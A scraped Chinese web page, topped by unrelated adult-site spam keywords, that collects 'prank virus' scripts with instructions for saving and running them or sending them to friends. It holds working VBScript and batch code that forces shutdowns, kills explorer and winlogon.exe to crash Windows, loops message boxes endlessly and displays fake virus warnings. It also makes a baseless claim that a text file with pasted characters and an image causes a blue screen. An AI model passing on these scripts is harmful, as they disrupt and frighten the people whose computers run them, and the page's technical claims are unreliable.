中文字幕欧美一区,欧美96一区二区免费视频,www欧美xxxx

本文目錄一覽

1，卒惡搞的代碼
2，惡搞電腦病毒代碼有哪些
3，求一些VB惡搞代碼效果越厲害越好例如藍屏等等

1，卒惡搞的代碼

把以下代碼復制到記事本中，然后把擴展名改為.vbs運行即可。 On Error Resume Next Dim WSHshellA Set WSHshellA = wscript.CreateObject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬，不喊就馬上讓你關機，不信，試試···"" ", 0, True Dim a Do While (a <> "我是豬") a = InputBox("快說我是豬,不叫就不關機，快點，說 ", "說不說", "不說", 8000, 7000) MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox" Loop MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關了" WSHshella.run "cmd.exe /c shutdown -a"

卒惡搞的代碼

2，惡搞電腦病毒代碼有哪些

　　有時候想和朋友們玩玩，搞點惡搞電腦病毒給他們，要怎么辦呢?下面由我給你做出詳細的惡搞電腦病毒代碼介紹!希望對你有幫助! 　　惡搞電腦病毒代碼介紹一：　　首先在電腦上新建一個TXT文檔　　然后把下面這段代碼輸入進去　　On Error Resume Next 　　Dim WSHshellA 　　Set WSHshellA = wscript.CreateObject("wscript.shell") 　　WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬，不喊就馬上讓你關機，不信，試試···"" ", 0, True 　　Dim a 　　Do While (a <> "我是豬") 　　a = InputBox("快說我是豬,不叫就不關機，快點，說 ", "說不說", "不說", 8000, 7000) 　　MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox" 　　Loop 　　MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關了" 　　WSHshella.run "cmd.exe /c shutdown -a" 　　然后保存　　然后把這個文本文檔的后綴改為vbs 也就是說新建的文本文檔本來是.TXT的后綴，　　你要修改為.VBS的后綴　　惡搞電腦病毒代碼介紹二：　　新建一個文本文檔，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入圖片，如果對方有郵箱，就發給他　　他一打開就會出現你插入的圖片，然后出現藍屏 (效果7—10分鐘)(注：做好病毒后不要打開，否則會出現以上說的情況) 　　惡搞電腦病毒代碼介紹三：　　新建一個文本文檔(.txt)，要復制以下代碼：　　@echo off 　　color 4 　　tskill explorer 　　echo . 　　echo . 　　echo . 　　echo . 　　echo 警告：在病毒執行期間禁止關閉電源，　　echo 否則你就和你心愛的電腦說　　echo . 　　echo . BYE-BYE 　　echo . 　　echo Computer system crash! 　　echo . 　　echo . 　　echo I am a virus, my name is Ghost. 　　echo 我是魔鬼病毒，在這個墮落的世界上蘇醒了。　　echo . 　　echo . Warning! CPU has been changed please re-enter CPU settings 　　echo. in the CMOS setuo and remember to save before quit. 　　echo. Secondary IDE channel no 80 conductor cable installed. 　　set /p select=:) 　　if "%select%"=="" goto start 　　:start 　　shutdown -r -t 10 -c "您的計算機上帶有魔鬼病毒，今天是它的發作日期。病毒已經破壞了您的系統，您的計算機將在10秒鐘后重啟。" 　　::結束　　再另存為：名字.bat 你要記住"名字"后面要加".bat" 　　就可以了，沒有任何破壞性，嚇嚇人。　　你可以試試看看效果。

惡搞電腦病毒代碼有哪些

3，求一些VB惡搞代碼效果越厲害越好例如藍屏等等

藍屏： msgbox "我想要你藍屏，哈哈..." Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide set ob=wscript.createobject("wscript.shell") 無限循環： do msgbox"" loop 強制關機： on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，試試···"" ",0 ,true dim a do while(a <> "我是豬") a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""　","說不說","不說",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loopmsgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

這不是惡搞了這個是犯罪

求一些VB惡搞代碼效果越厲害越好例如藍屏等等